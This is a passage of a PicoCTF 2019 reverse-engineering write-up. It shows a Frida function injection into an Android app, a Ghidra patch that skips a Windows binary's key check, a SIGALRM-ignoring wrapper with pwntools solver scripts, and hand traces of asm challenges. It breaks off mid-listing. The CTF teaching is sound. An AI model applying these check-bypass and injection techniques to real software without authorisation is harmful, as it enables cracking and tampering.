7. Use [frida.js](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/droids4/frida.js) to inject a modified `getFlag()` function into the running process. The script was built using the [tutorial from Josh Spicer](https://joshspicer.com/android-frida-1). The command is `frida -U -l frida.js -f com.hellocmu.picoctf`. Then run `%resume` to let the main thread start executing. Next, enter the password, `alphabetsoup`, and click the button to get the flag.

   ```
    Spawned `com.hellocmu.picoctf`. Use %resume to let the main thread start executing!
    [Android Emulator 5556::com.hellocmu.picoctf]-> %resume
    [Android Emulator 5556::com.hellocmu.picoctf]-> Injecting new getFlag()...
    Entered getFlag() function
    GOT FLAG: picoCTF{not.particularly.silly}
   ```

### Flag

`picoCTF{not.particularly.silly}`


# B1ll\_Gat35

## Problem

> Can you reverse this Windows Binary?

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/B1ll_Gat35/win-exec-1.exe)

## Solution

### Stage 1: Analysis

1. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). `main()` function:

   ```cpp
    void FUN_00408040(void)

    {
    int iVar1;
    FILE *pFVar2;
    uint uVar3;
    int local_78;
    int local_74;
    char local_6c [100];
    uint local_8;

    local_8 = DAT_0047b174 ^ (uint)&stack0xfffffffc;
    thunk_FUN_004083e0((int)s_Input_a_number_between_1_and_5_d_0047b06c);
    thunk_FUN_00408430((int)&DAT_0047b094);
    local_74 = 1;
    while (9 < local_78) {
        local_74 = local_74 + 1;
        local_78 = local_78 / 10;
    }
    if (local_74 < 6) {
        thunk_FUN_004083e0((int)s_Initializing..._0047b0b4);
        thunk_FUN_00407ff0(local_78,local_74);
        do {
        iVar1 = thunk_FUN_00415840();
        } while (iVar1 != 10);
        thunk_FUN_004083e0((int)s_Enter_the_correct_key_to_get_the_0047b0c8);
        pFVar2 = (FILE *)___acrt_iob_func(0);
        thunk_FUN_004157db(local_6c,100,pFVar2);
        uVar3 = thunk_FUN_00407f60(local_6c);
        if ((char)uVar3 == '\0') {
        thunk_FUN_004083e0((int)s_Incorrect_key._Try_again._0047b0f8);
        }
        else {
        thunk_FUN_004083e0((int)s_Correct_input._Printing_flag:_0047b114);
        thunk_FUN_00408010();
        }
    }
    else {
        thunk_FUN_004083e0((int)s_Number_too_big._Try_again._0047b098);
    }
    thunk_FUN_004084bf();
    return;
    }
   ```

   I found `main()` by going to `Search > Program Text` and searching for `Initializing` in "All Fields" since that was a string that appears when the program launches. Clicking the one with the "PUSH" in the preview goes right to the `main()` function.

   ![Image showing Ghidra search results](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F084c3a865aedd92f9170c9d1ae45c33ef2d3bdb1.png?generation=1619558788944247\&alt=media)

   This is difficult to read but `thunk_FUN_00407f60()` appears to validate the key. If this function returns 0 then the key is incorrect, otherwise the key is correct.

### Option 1: Patching the binary

In this option we rewrite a single character of the assembly of the program to run the code to print the flag even if the key is incorrect.

1. During the analysis stage we saw this `if else` block:

   ```cpp
    pFVar2 = (FILE *)___acrt_iob_func(0);
    thunk_FUN_004157db(local_6c,100,pFVar2);
    uVar3 = thunk_FUN_00407f60(local_6c);
    if ((char)uVar3 == '\0') {
    thunk_FUN_004083e0((int)s_Incorrect_key._Try_again._0047b0f8);
    }
    else {
    thunk_FUN_004083e0((int)s_Correct_input._Printing_flag:_0047b114);
    thunk_FUN_00408010();
    }
   ```

   If the function that checks the key we input returns 0 then the key is incorrect and we don't get a flag. Let's change that so if it returns 0 it jumps to the else block instead. We can do this quite easily thanks to Ghidra.
2. We are looking for the line `00408114 75 0f JNZ LAB_00408125` in the assembly view. This can be easily found by clicking on the `if` of the if statement (which was discussed in step 1) in the decompiled view. This will highlight the correct line.
3. The line directly before the aforementioned line contains the `TEST` operation: `00408112 85 c0           TEST       EAX,EAX`.  What's important to know about the `TEST` operation is that it sets the flags `CF` and `OF` to zero. You can learn more on \[its wikipedia entry]\(<https://en.wikipedia.org/wiki/TEST_(x86_instruction>)). [JNZ](https://www.aldeid.com/wiki/X86-assembly/Instructions/jnz) jumps to the specified location if the Zero Flag (ZF) is cleared (test for something not being equal). If we change the [`JNZ` operation](https://www.aldeid.com/wiki/X86-assembly/Instructions/jnz) to the `JNC` operation, which is true if `CF=0`, then we will skip right to the else block. Remember, the CF flag is always zero after the `TEST` operation so the else will always run. In fact, the decompiler view doesn't even show it anymore after we make the change, as you will see in the next step. More info about all the operators related to JNZ can be found [on this page](http://faydoc.tripod.com/cpu/jnz.htm).
4. The make the above change, right-click on the `JNZ` operator, choose "Patch Instruction", and change the `JNZ` to `JNC`. The decompiler view will update to the following:

   ```cpp
    pFVar2 = (FILE *)___acrt_iob_func(0);
    thunk_FUN_004157db(local_6c,100,pFVar2);
    thunk_FUN_00407f60(local_6c);
    thunk_FUN_004083e0((int)s_Correct_input._Printing_flag:_0047b114);
    thunk_FUN_00408010();
   ```

   To recap, we changed the line from `00408114 75 0f JNZ LAB_00408125` to `00408114 75 0f JNC LAB_00408125`.

   ![Image showing the Ghidra JNZ to JNC change in the assembly view](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F00f4ca71a9d8c6e484386cc7e0a6f2052970eb06.png?generation=1619558788593175\&alt=media)
5. Next, we need to export the program from Ghidra. Go to `File > Export Program` and set the "Format" to "Binary". Select your desired save location and click "OK". Now rename the exported file from `win-exec-1.exe.bin` to `win-exec-1.exe` (remove the ".bin").
6. Now, we can just run the executable with `wine win-exec-1.exe` (modified executable: [win-exec-1\_patched.exe](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/B1ll_Gat35/win-exec-1_patched.exe)):

   ```
    Input a number between 1 and 5 digits: 1
    Initializing...
    Enter the correct key to get the access codes: 1
    Correct input. Printing flag: PICOCTF{These are the access codes to the vault: 1063340}
   ```

### Option 2: Debugging to find the key

1. `thunk_FUN_00407f60()` function from Ghidra:

   ```cpp
    uint __cdecl FUN_00407f60(char *param_1)

    {
    char *_Str;
    size_t sVar1;
    size_t sVar2;
    uint local_8;

    _Str = (char *)thunk_FUN_00407f40();
    local_8 = 0;
    while( true ) {
        sVar1 = _strlen(param_1);
        if (sVar1 - 1 <= local_8) {
        return CONCAT31((int3)(sVar1 - 1 >> 8),1);
        }
        sVar1 = _strlen(param_1);
        sVar2 = _strlen(_Str);
        if (sVar1 - 1 != sVar2) break;
        if (param_1[local_8] != _Str[local_8]) {
        return (uint)(_Str + local_8) & 0xffffff00;
        }
        local_8 = local_8 + 1;
    }
    return sVar2 & 0xffffff00;
    }
   ```

   `thunk_FUN_00407f40()` appears to get the key. This function points to `thunkFUN_00407e30()`, which references a global variable called `DAT_0047c280` with address `0x0047c280`. The last 4 values are the offset we want: `c280`.
2. Next, we open the program in [Ollydbg](http://www.ollydbg.de/). I pressed "Execute till return (Ctrl+F9)" and typed `1` in the program. Then, I hit "Pause execution (F12)", pressed the enter key, and then pressed "Execute till return (Ctrl+F9)" until the prompt for the key appeared. Now there are two options. You can disable ASLR on the binary using a method from [this StackOverflow answer](https://stackoverflow.com/questions/9560993/how-do-you-disable-aslr-address-space-layout-randomization-on-windows-7-x64) and then press CTRL+G and paste the offset, `0xc280`, we found. This will bring you to the value of the key. However, the easier option is to simply use the debugging step features and list all strings.
3. To do the second option, first make sure you are on the `win-exe` module (click "Show Modules window (Alt+E)" and choose `win-exe` to make sure) and then `right-click > Search for > All referenced text strings` as shown in the image below.

   ![The OlyDbg menu showing how to select "All referenced text strings"](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F8987f342dc2a8a653e221dff149716099dcb4096.png?generation=1619558788798049\&alt=media)

   You will see `The key is: 4253360` at `PUSH 0F3C280` (probably different first two characters because of ASLR).

   ![The OllyDbg window of referenced text strings](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F04120452eaa7d353974277ca7aacbc4355f8b2cd.png?generation=1619558789165298\&alt=media)
4. Now just type the key into the program and hit enter to get the flag. Make sure to enter `The key is: 4253360`, not just `4253360`.

   ```
    Input a number between 1 and 5 digits: 1
    Initializing...
    Enter the correct key to get the access codes: The key is: 4253360
    Correct input. Printing flag: PICOCTF{These are the access codes to the vault: 1063340}
   ```

### Flag

`PICOCTF{These are the access codes to the vault: 1063340}`


# Time's Up

## Problem

> Time waits for no one. Can you solve this before time runs out? times-up, located in the directory at /problems/time-s-up\_1\_7d4f79c3df3e1b044801573eea5722be.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up/times-up/README.md)

## Solution

1. Decompile the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). `main()` function:

   ```cpp
    undefined8 main(void)

    {
    init_randomness();
    printf("Challenge: ");
    generate_challenge();
    putchar(10);
    fflush(stdout);
    puts("Setting alarm...");
    fflush(stdout);
    ualarm(5000,0);
    printf("Solution? ");
    __isoc99_scanf(&DAT_00100e68,&guess);
    if (guess == result) {
        puts("Congrats! Here is the flag!");
        system("/bin/cat flag.txt");
    }
    else {
        puts("Nope!");
    }
    return 0;
    }
   ```

   Using the debugger, like we did for `Need For Speed` will not work because we will lose the SETUID permissions required for the system call: `system("/bin/cat flag.txt");`.

   This code also shows us that there is an alarm which ends the program if we don't provide a valid answer within 5000 uSeconds, which is not a lot of time.
2. Let's try running the program: `chmod +x times-up && ./times-up`

   ```
    Challenge: (((((2033553839) + (-1699577110)) + (((-545013997) - (67704704)) + ((-1918353553) + (-1516567616)))) + (((-210308874) + (1475601456)) + ((1775129956) + (-2055247704)))) + ((((1330215250) - (-1021292908)) + ((-1623051128) + (-1560439740))) + ((((-748207565) + (215421591)) + (1002169210)) + ((-1314247138) + (1641760225)))))
    Setting alarm...
    Solution? Alarm clock
   ```
3. Running the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up/script.py) will not work since it communicates over SSH, which is not fast enough to solve this challenge.
4. Instead, run the following (which is commented at the end of [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up/script.py)) on the shell server in `/problems/time-s-up_1_7d4f79c3df3e1b044801573eea5722be`:

   ```python
    from pwn import *
    io = process("./times-up")
    io.recvuntil("Challenge: ")
    challenge = io.recvline()
    answer = eval(challenge)
    io.sendline(str(answer))
    io.interactive()
   ```

   ```
    Solution? Congrats! Here is the flag!
    picoCTF{Gotta go fast. Gotta go FAST. #3daa579a}
   ```

### Flag

`picoCTF{Gotta go fast. Gotta go FAST. #3daa579a}`


# Time's Up, For the Last Time!

## Problem

> You've solved things fast. You've solved things faster! Now do the impossible. times-up-one-last-time, located in the directory at /problems/time-s-up--for-the-last-time-\_5\_b2df97b433878873b16cff47337769d6.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20For%20the%20Last%20Time!/times-up-one-last-time/README.md)

## Solution

1. Running the program and inputting a newline character (`\n`) with bash is not fast enough.

   Running previous challenges in this way produced `Solution? Nope!`:

   ```
    $ ./times-up <<< '\n'
    Challenge: (((((657265146) + (-1923909696)) + ((1986179264) + (-812103564))) + (((-1027939860) + (1392242872)) + ((-110733888) + (-310598076)))) + ((((((720637104) + (-2047273348)) - (708133016)) - (-890325910)) - ((443949727) - (1909030317))) + (((-301107515) - (551799480)) - ((1489532366) + (1475102980)))))
    Setting alarm...
    Solution? Nope!
   ```

   However, this challenge does not even register the input since the alarm triggers so fast:

   ```
    $ ./times-up-one-last-time <<< '\n'
    Challenge: (((((-1012045115) - (1810430134)) % ((2010494120) + (-1086432160))) - (((-403630830) % (596322993)) ^ ((-1348370583) * (2088348720)))) | ((((1271304372) + (1954174030)) x ((-376311670) o (-407368940))) & (((-1044627813) - (1022249799)) | ((-1080733304) | (1758513321)))))
    Setting alarm...
    Alarm clock
   ```
2. The time for the alarm to trigger is now 10 microseconds (10 uSections). It is unlikely that any script will solve this if we can't even get any input into the program. Decompile the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). `main()` function (Ghidra was not able to determine names):

   ```cpp
    undefined8 FUN_00100eae(void)

    {
    FUN_00100ad0();
    printf("Challenge: ");
    FUN_00100e96();
    putchar(10);
    fflush(stdout);
    puts("Setting alarm...");
    fflush(stdout);
    ualarm(10,0);
    printf("Solution? ");
    __isoc99_scanf(&DAT_001011b8,&DAT_00304770);
    if (DAT_00304770 == DAT_00304778) {
        puts("Congrats! Here is the flag!");
        system("/bin/cat flag.txt");
    }
    else {
        puts("Nope!");
    }
    return 0;
    }
   ```
3. There are also weird new operators. Going into the source code we find the function that appears to solve the expression generated (comments are ascii conversions added by me):

   ```cpp
    ulong FUN_00100ca2(undefined param_1,ulong param_2,ulong param_3)

    {
    switch(param_1) {
    case 0x25: // %
        if (param_3 != 0) {
        param_2 = (long)param_2 % param_3;
        }
        break;
    case 0x26: // &
        param_2 = param_2 & param_3;
        break;
    default:
                        /* WARNING: Subroutine does not return */
        exit(1);
    case 0x2a: // *
        param_2 = param_2 * param_3;
        break;
    case 0x2b: // +
        param_2 = param_3 + param_2;
        break;
    case 0x2d: // -
        param_2 = param_2 - param_3;
        break;
    case 0x2f: // /
        if (param_3 != 0) {
        param_2 = (long)param_2 / (long)param_3;
        }
        break;
    case 0x5e: // ^
        param_2 = param_2 ^ param_3;
        break;
    case 0x66: // f
        break;
    case 0x6f: // o
        param_2 = param_3;
        break;
    case 0x72: // r
        param_2 = param_3;
        break;
    case 0x74: // t
        break;
    case 0x78: // x
        param_2 = param_3;
        break;
    case 0x7c: // |
        param_2 = param_2 | param_3;
    }
    return param_2;
    }
   ```

   We can reverse this functionality and implement it into our script later.
4. We should try blocking the `SIGALRM`. However, this cannot be done using a debugger (`GDB`) like was possible in "Need For Speed" since we need the elevated permissions from SETUID to be able to `cat` the `flag.txt` file. The [zardus/preeny](https://github.com/zardus/preeny) project will not work here for the same reason, but it could be useful for future projects.
5. We can open a session with the challenge file in which the `SIGALRM` is ignored with the following C program:

   ```cpp
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>

    int main() {
        signal(SIGALRM, SIG_IGN);
        system("/problems/time-s-up--for-the-last-time-_5_b2df97b433878873b16cff47337769d6/times-up-one-last-time");
    }
   ```

   The above file runs the challenge using the absolute path on the shell server. Create a file called `no_sigalrm.c` in your home directory. Compile it with: `gcc -g no_sigalrm.c -o no_sigalrm` (output name is important since the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20For%20the%20Last%20Time!/script.py) is hardcoded to use that name). Make sure to mark it as executable with `chmod +x no_sigalrm`.

   Above script as a file (calls the `times-up-one-last-time` in the present directory): [no\_sigalrm.c](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20For%20the%20Last%20Time!/no_sigalrm.c) (compiled version: [no\_sigalrm](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20For%20the%20Last%20Time!/no_sigalrm/README.md))
6. Let's write a script to solve the equation, now that we have bypassed the time restriction. Searching for "custom python operators" yields [this hack for infix operators](https://code.activestate.com/recipes/384122/) linked to from [this blog](http://tomerfiliba.com/blog/Infix-Operators/) and [this StackOverflow answer](https://stackoverflow.com/a/932580).
7. We actually only have two custom operators: return the left value and return the right value, there are just many names for these operators in the produced equation.

   ```
    L = Infix(lambda x,y: x)
    R = Infix(lambda x,y: y)
   ```

   We replace the operators in the program output with our new operators:

   ```
    challenge = challenge.replace("f", "|L|")
    challenge = challenge.replace("o", "|R|")
    challenge = challenge.replace("r", "|R|")
    challenge = challenge.replace("t", "|L|")
    challenge = challenge.replace("x", "|R|")
   ```
8. The [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20For%20the%20Last%20Time!/script.py) only works in `python2` since the infix operator hack only works properly in that version. Make sure to change the script location directory to your home folder. You should compile the `no_sigalrm` file on the shell server and place it in your home folder. Then, in [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/Time%27s%20Up,%20For%20the%20Last%20Time!/script.py) change the text `<username>` to your username.
9. Run exploit: `python2 script.py USER=<username> PASSWORD=<password>`:

   ```
    [+] Connecting to 2019shell1.picoctf.com on port 22: Done
    [*] <username>@2019shell1.picoctf.com:
        Distro    Ubuntu 18.04
        OS:       linux
        Arch:     amd64
        Version:  4.15.0
        ASLR:     Enabled
    [+] Opening new channel: 'pwd': Done
    [+] Receiving all data: Done (14B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] Working directory: '/tmp/tmp.Ss2j8QPOBM'
    [+] Opening new channel: 'ln -s /home/<username>/* .': Done
    [+] Receiving all data: Done (0B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [+] Starting remote process '/home/<username>/no_sigalrm' on 2019shell1.picoctf.com: pid 1091939
    Answer: -2606491616
    [+] picoCTF{And now you can hack time! #0e9c1f05}
   ```

   Warning: The script might fail, but it has approximately a 3/4 success rate.

### Flag

`picoCTF{And now you can hack time! #0e9c1f05}`


# asm1

## Problem

> What does asm1(0x610) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1\_1\_95494d904d73b330976420bc1cd763ec.

* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/asm1/test.S)

## Solution

1. Let's look at the source:

   ```
    asm1:
        <+0>:    push   ebp
        <+1>:    mov    ebp,esp
        <+3>:    cmp    DWORD PTR [ebp+0x8],0x3b9
        <+10>:    jg     0x50f <asm1+34>
        <+12>:    cmp    DWORD PTR [ebp+0x8],0x1
        <+16>:    jne    0x507 <asm1+26>
        <+18>:    mov    eax,DWORD PTR [ebp+0x8]
        <+21>:    add    eax,0x11
        <+24>:    jmp    0x526 <asm1+57>
        <+26>:    mov    eax,DWORD PTR [ebp+0x8]
        <+29>:    sub    eax,0x11
        <+32>:    jmp    0x526 <asm1+57>
        <+34>:    cmp    DWORD PTR [ebp+0x8],0x477
        <+41>:    jne    0x520 <asm1+51>
        <+43>:    mov    eax,DWORD PTR [ebp+0x8]
        <+46>:    sub    eax,0x11
        <+49>:    jmp    0x526 <asm1+57>
        <+51>:    mov    eax,DWORD PTR [ebp+0x8]
        <+54>:    add    eax,0x11
        <+57>:    pop    ebp
        <+58>:    ret
   ```
2. We call `asm1(0x610)` so we are putting `0x610` into the stack. This value gets pushed into ebp and then moved into esp on lines 0 and 1. Normally ebp is used to backup esp, so if esp is changed by the code in a function, all it takes to restore esp is mov esp, ebp. Also since ebp is normally left unchanged by the code in a function, it can be used to access passed parameters or local variables without having to adjust the offsets. More info about esp and ebp: [StackOverflow answer](https://stackoverflow.com/a/21718526).

   ```
    <+0>:    push   ebp
    <+1>:    mov    ebp,esp
   ```
3. First Condition:

   ```
    <+3>:    cmp    DWORD PTR [ebp+0x8],0x3b9
    <+10>:    jg     0x50f <asm1+34>
   ```

   Here, we are comparing (cmp) first value in the stack (which is `0x610`) to 0x3b9. The jg means "jump if greater". Since `0x610` is indeed greater than 0x3b9, we jump to the line given by this condition: line 34.
4. Second Condition:

   ```
    <+34>:    cmp    DWORD PTR [ebp+0x8],0x477
    <+41>:    jne    0x520 <asm1+51>
   ```

   Here, we have another comparison, this time between the first value in the stack and `0x477`. The condition jne means "jump if not equal". Since `0x610` is not equal to `0x477`, this is true and jump to line 51.
5. Addition

   ```
    <+51>:    mov    eax,DWORD PTR [ebp+0x8]
    <+54>:    add    eax,0x11
   ```

   Here, the value in the stack is moved to the variable that will be returned eax. We then add `0x11` to it, so now eax is equal to `0x610+0x11=0x621`.
6. Ending

   ```
    <+57>:    pop    ebp
    <+58>:    ret
   ```

   On line 57, the stack is popped and eax is returned. Since eax is equal to `0x621`, that is our flag.

### Flag

`0x621`


# asm2

## Problem

> What does asm2(0x9,0x1e) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm2\_2\_5667a5cd5764b4356121f1d6232ac78c.

* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/asm2/test.S)

## Solution

1. Let's look at the source:

   ```
    asm2:
        <+0>:    push   ebp
        <+1>:    mov    ebp,esp
        <+3>:    sub    esp,0x10
        <+6>:    mov    eax,DWORD PTR [ebp+0xc]
        <+9>:    mov    DWORD PTR [ebp-0x4],eax
        <+12>:    mov    eax,DWORD PTR [ebp+0x8]
        <+15>:    mov    DWORD PTR [ebp-0x8],eax
        <+18>:    jmp    0x50c <asm2+31>
        <+20>:    add    DWORD PTR [ebp-0x4],0x1
        <+24>:    add    DWORD PTR [ebp-0x8],0xa9
        <+31>:    cmp    DWORD PTR [ebp-0x8],0x47a6
        <+38>:    jle    0x501 <asm2+20>
        <+40>:    mov    eax,DWORD PTR [ebp-0x4]
        <+43>:    leave  
        <+44>:    ret
   ```
2. We call `asm2(0x9,0x1e)` so we are putting `0x9` and `0x1e` into the stack. After running `mov ebp,esp` the stack looks like this:

   ```
    +---------+
    | old ebp | <-- ebp
    +---------+
    | ret     | <-- ebp + 0x4
    +---------+
    | 0x9     | <-- ebp + 0x8
    +---------+
    | 0x1e    | <-- ebp + 0xc
    +---------+
   ```
3. Then we run `sub esp,0x10` which creates the below layout:

   ```
    +---------+
    |         | <-- ebp - 0x10 (local3)
    +---------+
    |         | <-- ebp - 0xc (local2)
    +---------+
    |         | <-- ebp - 0x8 (local1)
    +---------+
    |         | <-- ebp - 0x4 (local0)
    +---------+
    | old ebp | <-- ebp
    +---------+
    | ret     | <-- ebp + 0x4
    +---------+
    | 0x9     | <-- ebp + 0x8
    +---------+
    | 0x1e    | <-- ebp + 0xc
    +---------+
   ```
4. Next, we put our two parameters in at `ebp-0x4` and `ebp-0x8`:

   ```
    <+6>:    mov    eax,DWORD PTR [ebp+0xc]
    <+9>:    mov    DWORD PTR [ebp-0x4],eax
    <+12>:    mov    eax,DWORD PTR [ebp+0x8]
    <+15>:    mov    DWORD PTR [ebp-0x8],eax
    <+18>:    jmp    0x50c <asm2+31>
   ```

   Two new positions at `ebp-0x4` and `ebp-0x8` are created and store the values from `ebp+0xc` and `ebp+0x8`.

   This makes the stack look as follows:

   ```
    +---------+
    |         | <-- ebp - 0x10 (local3)
    +---------+
    |         | <-- ebp - 0xc (local2)
    +---------+
    | 0x9     | <-- ebp - 0x8 (local1)
    +---------+
    | 0x1e    | <-- ebp - 0x4 (local0)
    +---------+
    | old ebp | <-- ebp
    +---------+
    | ret     | <-- ebp + 0x4
    +---------+
    | 0x9     | <-- ebp + 0x8
    +---------+
    | 0x1e    | <-- ebp + 0xc
    +---------+
   ```
5. At this point, we know that `ebp-0x4` is storing `0x1e` and `ebp-0x8` is storing `0x9`. We then take an unconditional jump to line 31.
6. We see here that we are comparing the value stored at `ebp-0x8`, which is `0x9`, to `0x47a6`. Since the comparison is less or equal to and the condition is jle (jump less/equal), we make the jump back up to line 20.

   ```
    <+31>:    cmp    DWORD PTR [ebp-0x8],0x47a6
    <+38>:    jle    0x501 <asm2+20>
   ```
7. At this point we can start to see a for loop type of logic occurring. After jumping to line 20, the value stored at `ebp-0x4` increases by `0x1` and the value at `ebp-0x8` increases by `0xa9`. This continues to loop because of the jle condition until `ebp-0x8` is not less or equal to `0x47a6`. Finally, once the loop ends, we move the value stored at `ebp-0x4` to the returned value eax. Therefore, the value at `ebp-0x4` is all that matters in determining the flag, but we do need to worry about `ebp-0x8` since it determines how many times to loop. So we take `0x1e` and add `0x1` x times, where x can be found by solving `0x9+0xa9*x>0x47a6` to get 109. `0x1e+0x1*109` is `0x8b`, which is the flag.

   ```
    <+20>:    add    DWORD PTR [ebp-0x4],0x1
    <+24>:    add    DWORD PTR [ebp-0x8],0xa9
    <+31>:    cmp    DWORD PTR [ebp-0x8],0x47a6
    <+38>:    jle    0x501 <asm2+20>
    <+40>:    mov    eax,DWORD PTR [ebp-0x4]
    <+43>:    leave  
    <+44>:    ret
   ```

### Flag

`0x8b`


# asm3

## Problem

> What does asm3(0xc4bd37e3,0xf516e15e,0xeea4f333) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm3\_4\_c89016e12b8f3cac92a2e637c03f6139.

* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/asm3/test.S)

## Solution

1. Let's look at the source:

   ```
    asm3:
        <+0>:    push   ebp
        <+1>:    mov    ebp,esp
        <+3>:    xor    eax,eax
        <+5>:    mov    ah,BYTE PTR [ebp+0x9]
        <+8>:    shl    ax,0x10
        <+12>:    sub    al,BYTE PTR [ebp+0xd]
        <+15>:    add    ah,BYTE PTR [ebp+0xe]
        <+18>:    xor    ax,WORD PTR [ebp+0x10]
        <+22>:    nop
        <+23>:    pop    ebp
        <+24>:    ret
   ```
2. Since this challenge is more complicated than the previous `asm*` challenges, we will compile and run it.
3. We will modify [test.S](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/asm3/test.S) to [test\_modified.S](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/asm3/test_modified.S) like so:

   ```
    .intel_syntax noprefix
    .global asm3

    asm3:
        push   ebp
        mov    ebp,esp
        xor    eax,eax
        mov    ah,BYTE PTR [ebp+0x9]
        shl    ax,0x10
        sub    al,BYTE PTR [ebp+0xd]
        add    ah,BYTE PTR [ebp+0xe]
        xor    ax,WORD PTR [ebp+0x10]
        nop
        pop    ebp
        ret
   ```
4. We also create a [solve.c](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/asm3/solve.c) script:

   ```cpp
    #include <stdio.h>

    int asm3(int, int, int);

    int main(int argc, char* argv[])
    {
        printf("0x%x\n", asm3(0xc4bd37e3,0xf516e15e,0xeea4f333));
        return 0;
    }
   ```
5. Compile:

   ```
    $ gcc -masm=intel -m32 -c test_modified.S -o test_modified.o
    $ gcc -m32 -c solve.c -o solve.o
    $ gcc -m32 test_modified.o solve.o -o solve
   ```
6. Run `./solve` to get flag.

### Flag

`0xe52c`


# asm4

## Problem

> What will asm4("picoCTF\_376ee") return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm4\_2\_0932017a5f5efe2bc813afd0fe0603aa.

* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Reverse%20Engineering/asm4/test.S)

## Solution

1. Let's look at the source:

   ```
    asm4:
        <+0>:    push   ebp
        <+1>:    mov    ebp,esp
        <+3>:    push   ebx
        <+4>:    sub    esp,0x10
        <+7>:    mov    DWORD PTR [ebp-0x10],0x25c
        <+14>:    mov    DWORD PTR [ebp-0xc],0x0
        <+21>:    jmp    0x518 <asm4+27>
        <+23>:    add    DWORD PTR [ebp-0xc],0x1
        <+27>:    mov    edx,DWORD PTR [ebp-0xc]
        <+30>:    mov    eax,DWORD PTR [ebp+0x8]
        <+33>:    add    eax,edx
        <+35>:    movzx  eax,BYTE PTR [eax]
        <+38>:    test   al,al
        <+40>:    jne    0x514 <asm4+23>
        <+42>:    mov    DWORD PTR [ebp-0x8],0x1
        <+49>:    jmp    0x587 <asm4+138>
        <+51>:    mov    edx,DWORD PTR [ebp-0x8]
        <+54>:    mov    eax,DWORD PTR [ebp+0x8]
        <+57>:    add    eax,edx
        <+59>:    movzx  eax,BYTE PTR [eax]
        <+62>:    movsx  edx,al
        <+65>:    mov    eax,DWORD PTR [ebp-0x8]
        <+68>:    lea    ecx,[eax-0x1]
        <+71>:    mov    eax,DWORD PTR [ebp+0x8]
        <+74>:    add    eax,ecx
        <+76>:    movzx  eax,BYTE PTR [eax]
        <+79>:    movsx  eax,al
        <+82>:    sub    edx,eax
        <+84>:    mov    eax,edx
        <+86>:    mov    edx,eax
        <+88>:    mov    eax,DWORD PTR [ebp-0x10]
        <+91>:    lea    ebx,[edx+eax*1]
        <+94>:    mov    eax,DWORD PTR [ebp-0x8]
        <+97>:    lea    edx,[eax+0x1]
        <+100>:    mov    eax,DWORD PTR [ebp+0x8]
        <+103>:    add    eax,edx
        <+105>:    movzx  eax,BYTE PTR [eax]
        <+108>:    movsx  edx,al
        <+111>:    mov    ecx,DWORD PTR [ebp-0x8]
        <+114>:    mov    eax,DWORD PTR [ebp+0x8]
